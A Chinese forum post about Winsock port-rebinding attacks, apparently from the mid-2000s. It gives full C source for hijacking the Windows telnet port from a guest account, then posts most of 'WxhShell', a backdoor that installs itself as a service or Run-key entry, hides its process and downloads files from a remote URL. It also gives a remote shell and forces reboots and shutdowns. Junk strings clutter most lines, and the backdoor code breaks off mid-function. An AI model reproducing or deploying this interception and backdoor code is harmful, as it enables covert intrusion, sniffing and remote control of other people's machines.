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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6>R|B?I%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e A'1  
9}*<8%PSt,  
  saddr.sin_family = AF_INET; ,bnrVa(I  
[)L)R`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R^ &nBwp  
4 /Q4sE~<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G ;fc8a[X  
-ttH{SslM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  *CS2ndp  
T]0H&Oov  
  这意味着什么?意味着可以进行如下的攻击: | l|7[  
c D0-g=&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s?pd&_kOv3  
9?L,DThQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RZrQ^tI3"  
1$1[6 \3v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l %M0^d6M  
+%: /!T@@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   V9cKl[  
&|&tPD/dJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X^c2  
y L|'K}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \;F_QV  
oasEG6OI8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1p }:K`#{  
WPbG3FrL!  
  #include " _{o}8L  
  #include d@aPhzLu  
  #include N_^s;Qj  
  #include    2?./S)x)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A1uo@W  
  int main() h-+GS%  
  { z [9f  
  WORD wVersionRequested; f&ri=VJY\T  
  DWORD ret; 'j27.Ry.  
  WSADATA wsaData; "2 "gTS  
  BOOL val; /ij)[WK@  
  SOCKADDR_IN saddr; m&!4*D  
  SOCKADDR_IN scaddr; 5zk^zn)  
  int err;  @& fAR2  
  SOCKET s; guc[du  
  SOCKET sc; _Cnl|'  
  int caddsize; }{#ty uzAo  
  HANDLE mt; K#_x.: <J  
  DWORD tid;   waRK$/b (  
  wVersionRequested = MAKEWORD( 2, 2 ); H)VzPe#{  
  err = WSAStartup( wVersionRequested, &wsaData ); |ryV7VJ8  
  if ( err != 0 ) { W0_ pO  
  printf("error!WSAStartup failed!\n"); 5N.-m;s  
  return -1; %f'mW2  
  } fqp!^-!X  
  saddr.sin_family = AF_INET; m?)REE  
   3I):W9$Qp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !]*Cwbh. u  
@B#\3WNt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ExKjH*gn  
  saddr.sin_port = htons(23); #|R#/Yc@Bv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MIF`|3$,  
  { qGVf! R  
  printf("error!socket failed!\n"); mJN*DP{  
  return -1; E 8LA+dKN:  
  } 7xU6Ll+p  
  val = TRUE; +0Z,#b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2/F";tc\'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aTLu7C\-e  
  { ~dz,eB  
  printf("error!setsockopt failed!\n"); Svqj@@_f  
  return -1; F)n^pT  
  } HY!R|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; n> tru L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |9'`;4W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l2Pry'3  
]:_s7v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3[F9qDAy  
  { PXrv2q[5?  
  ret=GetLastError(); (<KFA,  
  printf("error!bind failed!\n"); ,$A'Y  
  return -1; 1LZ[i89&%  
  } J1UG},-h  
  listen(s,2); 3LW_qX  
  while(1) +, |aIF  
  { eEl71  
  caddsize = sizeof(scaddr); Mv?$zV"`#  
  //接受连接请求 D`NPU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?[VL 2dP0  
  if(sc!=INVALID_SOCKET) X%rsa7H3J  
  { |w].*c}Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `~k`m{4.a  
  if(mt==NULL) PX/7:D?  
  { N(Sc!rX  
  printf("Thread Creat Failed!\n"); -\[H>)z]RB  
  break;  $+  
  } J:Idt}@z  
  } FKBI.}A?!'  
  CloseHandle(mt); VS jt|F)t  
  } G0~6A@>  
  closesocket(s); 9_-6Lwj6t  
  WSACleanup(); L.?QZN%cN  
  return 0; ~J:]cy)Q  
  }   cXod43  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?>/9ae^Bw  
  { ItD&L ))  
  SOCKET ss = (SOCKET)lpParam; ^V7'S<  
  SOCKET sc; CuT50N;tk  
  unsigned char buf[4096]; g^: & Dh  
  SOCKADDR_IN saddr; 8AQ__&nT  
  long num; Mj6 0?k  
  DWORD val; 'W*:9wah  
  DWORD ret; `n?Rxhkwp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e);`hNLih  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    35%\"Y?  
  saddr.sin_family = AF_INET; iY*fp=c9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y|/[;  
  saddr.sin_port = htons(23); `Kbf]"4q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  alH6~  
  { ?[<#>,W  
  printf("error!socket failed!\n"); gY&WH9sp?9  
  return -1; `?G&w.Vs  
  } BUS4 T#D  
  val = 100; $1 t IC_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E?- ~*T  
  { ub;:"ns}  
  ret = GetLastError(); V+5av Z}  
  return -1; |Kb m74Z%  
  } ykYef  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0b G#'.-  
  { R-YNg  
  ret = GetLastError(); wxo*\WLe  
  return -1; [Ob09#B%:5  
  } H<") )EJI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z4oD6k5oc  
  { @jCMQYR  
  printf("error!socket connect failed!\n"); 4sq](! A  
  closesocket(sc); 2m^qXE$  
  closesocket(ss); 6WX?Xc]$3  
  return -1; -AN5LE9-  
  } lK_T%1Gz  
  while(1) -tIye{  
  { ^8KxU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WjguM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m Uy>w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vmg[/#  
  num = recv(ss,buf,4096,0); "U!Vdt2vp  
  if(num>0) g/frg(KF  
  send(sc,buf,num,0); D#P]tt.Z   
  else if(num==0) pg Q^w0BQV  
  break; G.r .Z0  
  num = recv(sc,buf,4096,0); %l?*w~x  
  if(num>0) 10Q!-K),p  
  send(ss,buf,num,0); U1`pY:P  
  else if(num==0)  W_6gV  
  break; =ld!=II  
  } fZoQQ[s  
  closesocket(ss); CaV@<T  
  closesocket(sc); `=S%!akj  
  return 0 ; Z;S)GUG^  
  } d3\KUR^  
YYL3a=;`a  
A'$>~Ev  
========================================================== qI>,PX  
&c}2[=  
下边附上一个代码,,WXhSHELL \x:} |   
-/ G#ls|?  
========================================================== -oTdi0P  
Apj[z2nr  
#include "stdafx.h" 3-oKY*jO  
4V;-*:  
#include <stdio.h> '14 86q@[$  
#include <string.h> ii&ckg>]z  
#include <windows.h> -BSO$'{7  
#include <winsock2.h> F|cli <  
#include <winsvc.h> 2I|lY>Z  
#include <urlmon.h> Nv|0Z'M  
2'@D0L  
#pragma comment (lib, "Ws2_32.lib") rp^:{6O  
#pragma comment (lib, "urlmon.lib") Rn`DUYg  
xs )jO+.  
#define MAX_USER   100 // 最大客户端连接数 #3tC"2MZ  
#define BUF_SOCK   200 // sock buffer | #b/EA9  
#define KEY_BUFF   255 // 输入 buffer HYG1BfEaW  
.4l cES~  
#define REBOOT     0   // 重启 ty:{e]e  
#define SHUTDOWN   1   // 关机 .s?^y+e_  
%%#bTyF  
#define DEF_PORT   5000 // 监听端口 A2p%Y},  
kkW}:dBl  
#define REG_LEN     16   // 注册表键长度 9-vQn/O^D  
#define SVC_LEN     80   // NT服务名长度 CMyz!jZ3  
Q,Y^9g"B`~  
// 从dll定义API e+<|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'vYt_T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q: X^V$`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g7lPQ_A*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $e{[fm x  
fdHFSnQ g  
// wxhshell配置信息 2<@g *  
struct WSCFG { 2kk; z0f  
  int ws_port;         // 监听端口 o?c NH  
  char ws_passstr[REG_LEN]; // 口令 &;`E3$>  
  int ws_autoins;       // 安装标记, 1=yes 0=no gX$gUB) x  
  char ws_regname[REG_LEN]; // 注册表键名 ,b5vnW\  
  char ws_svcname[REG_LEN]; // 服务名 N7KG_o%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qq_ZkU@xg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =q|//*t2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G{O{ p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j,SZJ{ebXg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xn@oNKD0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +WKN&@  
Ino]::ZJ/  
}; Oqt{ uTI~  
rQ6>*0xL_  
// default Wxhshell configuration \zwm:@lG  
struct WSCFG wscfg={DEF_PORT, 1~},}S]id  
    "xuhuanlingzhe", A_e5Vb ,u.  
    1, aR'~=t&;z1  
    "Wxhshell", "zzb`T[8  
    "Wxhshell", 'i:lV'  
            "WxhShell Service", [ wnaF|h  
    "Wrsky Windows CmdShell Service", 8J- ?bo  
    "Please Input Your Password: ", G:wO1f6  
  1,  =zDvZ(5  
  "http://www.wrsky.com/wxhshell.exe", \ rg;xZa5  
  "Wxhshell.exe" JoZzX{eu"  
    }; g:!R't?  
TJ>1?W\Z  
// 消息定义模块 rx@i .+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QC&,C}t,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?Iij[CbU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y7 K2@257  
char *msg_ws_ext="\n\rExit."; `s3:Vsv4  
char *msg_ws_end="\n\rQuit."; la4%Vqwgu  
char *msg_ws_boot="\n\rReboot..."; qn,fx6v4  
char *msg_ws_poff="\n\rShutdown..."; "`%UC#  
char *msg_ws_down="\n\rSave to "; e p Dp*  
Q`Q"p  
char *msg_ws_err="\n\rErr!"; CC'N"Xb  
char *msg_ws_ok="\n\rOK!"; <b\8<mTr  
.7:ecFKk  
char ExeFile[MAX_PATH]; q_L. Sy|)  
int nUser = 0; (H:A|Lw  
HANDLE handles[MAX_USER]; 84i0h$ZZo  
int OsIsNt; kA)`i`gt  
=W2I0nr.  
SERVICE_STATUS       serviceStatus; a<>cbP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wlslG^^(!  
Dkh=(+> <  
// 函数声明 w>}n1Nc$G  
int Install(void); ~r'ApeI9  
int Uninstall(void); qPJSVo  
int DownloadFile(char *sURL, SOCKET wsh); ;B(16&l=q  
int Boot(int flag); 86dz Jh  
void HideProc(void); v6E5#pse8  
int GetOsVer(void); zy8+~\a+Y&  
int Wxhshell(SOCKET wsl); =NnG[#n%  
void TalkWithClient(void *cs); ,_D@ggL-  
int CmdShell(SOCKET sock); /F''4%S?E  
int StartFromService(void); hx/A215L  
int StartWxhshell(LPSTR lpCmdLine); (?lT @RY/  
\_i22/Et  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `Hv"^o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aSJD'u4w.a  
_F^NX%  
// 数据结构和表定义 a5d_= :S ;  
SERVICE_TABLE_ENTRY DispatchTable[] = $BB^xJ\O  
{ cS@p`A7Tpo  
{wscfg.ws_svcname, NTServiceMain},  Bs>S2]  
{NULL, NULL} ~DB:/VSmu  
}; ]@}hyM[D;  
5$X 8|Ve  
// 自我安装 se}$/Y}t  
int Install(void) X &G]ci  
{ [D<(xr&N%  
  char svExeFile[MAX_PATH]; YB^m!A),I[  
  HKEY key; /+. m.TF  
  strcpy(svExeFile,ExeFile); ^EW6}oj[  
:b_hF  
// 如果是win9x系统,修改注册表设为自启动 1]A\@(  
if(!OsIsNt) { YhooD,[.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =*>.z@WQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f'`y-]"V5)  
  RegCloseKey(key); 98 uMD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3Q)"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $YJi]:3&  
  RegCloseKey(key); n* .<L  
  return 0; l <Z7bo  
    } !ZCxi  
  } U_E t  
} 300[2}Y]  
else { L}A2$@  
2Qc_TgWF  
// 如果是NT以上系统,安装为系统服务 )oM% N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Wk:>9]Jrb  
if (schSCManager!=0) *7#5pT~  
{ rsw= a_S  
  SC_HANDLE schService = CreateService E>2AG3)  
  ( 8|+@A1)&4  
  schSCManager, _6]CT0  
  wscfg.ws_svcname, rTJ;s  
  wscfg.ws_svcdisp, J%!vhQ  
  SERVICE_ALL_ACCESS, 4s"x}c">F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Il?$Kb/  
  SERVICE_AUTO_START, cA| n*A-j<  
  SERVICE_ERROR_NORMAL, _=cuOo"!  
  svExeFile, BE0Xg  
  NULL, zY-?Bv_D  
  NULL, ,Hp7`I>/  
  NULL, hVJ}EF 0  
  NULL, ;rnhv:Iw  
  NULL r $YEq5  
  ); "-G7eGQ  
  if (schService!=0) qK%#$JgqA  
  { , 0?_? GO  
  CloseServiceHandle(schService); CE| *&G  
  CloseServiceHandle(schSCManager); 5CH8;sMK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0a,B&o1  
  strcat(svExeFile,wscfg.ws_svcname); ws U@hqS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @f,/K1k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?]+! gz1  
  RegCloseKey(key); 3b`#)y^y?%  
  return 0; "=$uv  
    } y7'9KQ  
  } eF4f7>5Cv  
  CloseServiceHandle(schSCManager); BXytAz3  
} 5)->.*G*  
} Oz "_KMz  
v9#F\F/  
return 1; <" 0b 8 Z  
} tvUCd}  
I-Am9\   
// 自我卸载 f %q ?  
int Uninstall(void) { / ,?3  
{ V%`\x\Xat  
  HKEY key; 3XncEdy_  
2cZgG^  
if(!OsIsNt) { i7&ay\+@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {c<cSrfI  
  RegDeleteValue(key,wscfg.ws_regname); "DX 2Mu=  
  RegCloseKey(key); ke2M&TV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w 5t|C>  
  RegDeleteValue(key,wscfg.ws_regname); jm'^>p,9G  
  RegCloseKey(key); i nk !>Z  
  return 0; tK 6=F63e  
  } AMK(-=  
} Xs~IoU  
} I:;umyRH  
else { |>wGl  
@S&QxE^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Xs`'>,"  
if (schSCManager!=0) {?r5~ T`2  
{ J2$,'(!(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kv ajk~  
  if (schService!=0) R^INl@(O  
  { =i},$"Bf*%  
  if(DeleteService(schService)!=0) { f7;<jj;w7  
  CloseServiceHandle(schService); <2N=cH'  
  CloseServiceHandle(schSCManager); \ AB)L{  
  return 0; ` :Oje  
  } ~*e@^Nv)v  
  CloseServiceHandle(schService); _KZ TY`/*  
  } K.b :ae^k  
  CloseServiceHandle(schSCManager); a/[)A _-  
} $M$-c{>s  
} z00,Vr^m  
_s}`ohKvD  
return 1; 8/lgM'Eux  
} Ue!yK  
AP ]`'C  
// 从指定url下载文件 W< $!H V$  
int DownloadFile(char *sURL, SOCKET wsh) T`GiM%R;g  
{ Q!r` G  
  HRESULT hr; HI, `O  
char seps[]= "/"; !.499H3  
char *token; y~Mu~/s  
char *file; Q 87'zf  
char myURL[MAX_PATH]; K87yQOjPv  
char myFILE[MAX_PATH]; h-DHIk3/  
dk0} q6~  
strcpy(myURL,sURL); 0g#xQzE  
  token=strtok(myURL,seps); Vd'=Fe;eB  
  while(token!=NULL) }hcY5E-n  
  { @gw8r[  
    file=token; 20I/En  
  token=strtok(NULL,seps); o/& IT(v  
  } ` }B,w-,io  
IsDwa qd|  
GetCurrentDirectory(MAX_PATH,myFILE); 8Y:x+v5  
strcat(myFILE, "\\"); )jh~jU?c@  
strcat(myFILE, file); )_6W@s  
  send(wsh,myFILE,strlen(myFILE),0); =q*c}8R_0  
send(wsh,"...",3,0); yD@1H(yM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ e a K]|  
  if(hr==S_OK) #aiI]'  
return 0; oN`khS]_v0  
else 7xfS%'=y"  
return 1; !7p&n3dz  
D0>Pc9  
} B>@l(e)b  
 GInw7  
// 系统电源模块 5Vai0Qfcu:  
int Boot(int flag) 8s %YudW  
{ nj1PR`AE  
  HANDLE hToken; %/qwqo`Q  
  TOKEN_PRIVILEGES tkp; ~YByyJG   
hD4>mpk  
  if(OsIsNt) { mA@!t>=oMq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E'NS$,h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7 D{%  
    tkp.PrivilegeCount = 1; }Yc5U,A;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Av4(=}M}@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G&YcXyH  
if(flag==REBOOT) { qh6rMqq  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hDQk z qW  
  return 0; =^\?{oV  
} "oyBF CW  
else { 12;YxW>[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z] x6np  
  return 0; 8H`L8: CM  
} &gUa^5'#  
  } c2?VjuB0  
  else { be$']}cP  
if(flag==REBOOT) { Et0)6^-v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [HL>Lp&A?  
  return 0; ) .KMZ]  
} ,eWLig  
else { X{<taD2~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ayQeT  
  return 0; L&~'SC  
} o8v,17 8  
} ~qIr'?D  
=LGSywWM9  
return 1; `uZMln @  
} <]X 6%LX  
*)Cr1d k  
// win9x进程隐藏模块 ZKq#PB/.  
void HideProc(void) 4nGt*0Er  
{ /+8VW;4|I  
cbs ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >5?:iaq z  
  if ( hKernel != NULL ) L#J2J$ =  
  { =Y5m% ,Bq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "z;R"sv\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #dD0vYT&od  
    FreeLibrary(hKernel); w=a$]`  
  } ST;o^\B  
EU04U  
return; d>F.C>  
} 8R:Glif  
MvnQUZ  
// 获取操作系统版本 s9OW.i]zX  
int GetOsVer(void) xplV6q`  
{ V|[NL4  
  OSVERSIONINFO winfo; [HUK 9hG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xSNGf@1b  
  GetVersionEx(&winfo); 3,X8 5`v^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >tx[UF@P@  
  return 1; Px Gw5:  
  else 6,MQT,F  
  return 0; }L&LtW{X  
} $mE3 FJP>  
6EO@ Xf7,  
// 客户端句柄模块 -sZb+2tDa  
int Wxhshell(SOCKET wsl) nMfR< %r  
{ { 0&l*@c&  
  SOCKET wsh; ';My"/ Z-  
  struct sockaddr_in client; v Y0ESc{  
  DWORD myID; "Dc\w@`E 0  
K"&^/[vMB  
  while(nUser<MAX_USER) RqP_^tB  
{ <lWj-+m  
  int nSize=sizeof(client); kS=nH9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gIusp917  
  if(wsh==INVALID_SOCKET) return 1; a]xGzv5  
vy{k"W&S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wfpl]d!  
if(handles[nUser]==0) `JpFqZ'58  
  closesocket(wsh); gmgri   
else sQ,xTWdj  
  nUser++; kh:_,g  
  } Y:L[Iz95o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v9Sk\9}S  
#D|%r-:"  
  return 0; _X mxBtk9f  
} "DfjUk  
M \  
// 关闭 socket V$O6m|q  
void CloseIt(SOCKET wsh) LjTSu9I>  
{ 8ih_S2Cd  
closesocket(wsh); 5pe)CjE:  
nUser--; VjNr<~|d  
ExitThread(0); ]1Wxa?  
} |N"K83_pr  
SA&(%f1d  
// 客户端请求句柄 !ehjLFS?_  
void TalkWithClient(void *cs) w0oTV;yh  
{ _ahp7-O  
|N% l at  
  SOCKET wsh=(SOCKET)cs; %;v~MC @  
  char pwd[SVC_LEN]; .m l\z5  
  char cmd[KEY_BUFF]; oYTLC@98}  
char chr[1]; b @0= &4  
int i,j; &]RE 5!  
5QuRwu_  
  while (nUser < MAX_USER) { s(5hFuyg  
>yXhP6  
if(wscfg.ws_passstr) { ,>7dIJqzw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @4 8!e-W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f^lcw  
  //ZeroMemory(pwd,KEY_BUFF); ^>Z_3 {s:$  
      i=0; QOYMT( j  
  while(i<SVC_LEN) { {d;z3AB  
9X=<uS  
  // 设置超时 ~mXzQ be p  
  fd_set FdRead; 9?hZf$z  
  struct timeval TimeOut; H1B%}G*Ir-  
  FD_ZERO(&FdRead); Ys}^ hy  
  FD_SET(wsh,&FdRead); tlUh8os  
  TimeOut.tv_sec=8; 1.3dy]vG  
  TimeOut.tv_usec=0; Kc2y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e1h7~ j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X5VNj|IE  
UCfouQCj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'G>XI;g  
  pwd=chr[0]; =Q<7[  
  if(chr[0]==0xd || chr[0]==0xa) { LOcZadr  
  pwd=0; Gg ~0>XS  
  break; 7`t"fS  
  } eT3!"+p-F  
  i++; gggD "alDx  
    } lW-h @  
F%o!+%&7  
  // 如果是非法用户,关闭 socket s9CmR]C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z^%a 1>`  
} 5G\OINxy  
%\sE\]K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0m*b9+q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  S9}I  
oj Y.6w  
while(1) { Q;y5E`G  
T*%GeY [  
  ZeroMemory(cmd,KEY_BUFF);  "q M  
v9* +@  
      // 自动支持客户端 telnet标准   a dr\l5pWQ  
  j=0; '#3FEo  
  while(j<KEY_BUFF) { Os$E,4,py  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !"qT2<A  
  cmd[j]=chr[0]; dX)a D $m  
  if(chr[0]==0xa || chr[0]==0xd) { 1q-;+Pd;  
  cmd[j]=0; QR"+fzOL  
  break; .G\](%  
  }  2hF^U+I}  
  j++; '=Zm[P,  
    } q#mL-3OQ  
Z8bg5%  
  // 下载文件 k6ry"W3  
  if(strstr(cmd,"http://")) { *izCXfW7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \)t//0  
  if(DownloadFile(cmd,wsh)) Lr:n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7\98E&  
  else e_Hpai<b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  W;7$Dq:  
  } 3WQa^'u  
  else { N~=PecQ  
-F`GZ  
    switch(cmd[0]) { wMR,r@}  
  l3F$5n  
  // 帮助 81y<Uz 6  
  case '?': { uXFI7vV6P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &gr 8;O:0  
    break; ) u{ ]rb[  
  } "i#g [x  
  // 安装 jXf@JxQ  
  case 'i': { _ncBq;j{  
    if(Install()) .tG3g:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BuRsz6n  
    else tT)s,R%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >v@3]a i  
    break; F*J1w|)F0  
    } W+Mw:,>*s  
  // 卸载 GNv{ Ij<  
  case 'r': { G) KI{D  
    if(Uninstall()) !J;Bm,Xn6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9;6)b 0=$  
    else TPBQfp%HU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZ6{9/%:  
    break; <t(H+ykh  
    } eC<RM Q4  
  // 显示 wxhshell 所在路径 ;5X~"#%U_  
  case 'p': { !c)F;  
    char svExeFile[MAX_PATH]; _ s}aF  
    strcpy(svExeFile,"\n\r"); Ix_w.f=8  
      strcat(svExeFile,ExeFile); s) s9Z,HY  
        send(wsh,svExeFile,strlen(svExeFile),0); kBA.N l7  
    break; # A4WFZ  
    } W*S4gPGM  
  // 重启 o N A ]G]  
  case 'b': { V*rLGY#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~fD\=- S1  
    if(Boot(REBOOT)) o?/H<k\5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ wZx=kas  
    else { M.dX;iM<  
    closesocket(wsh); Cx~;oWZ  
    ExitThread(0); s'N<  
    }  D~"a"  
    break; Dom]w.W5  
    } WxYEu +_  
  // 关机 OT$ Ne  
  case 'd': { Ig!0 A}f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); * FEJ5x  
    if(Boot(SHUTDOWN)) _XP}f x7$C  
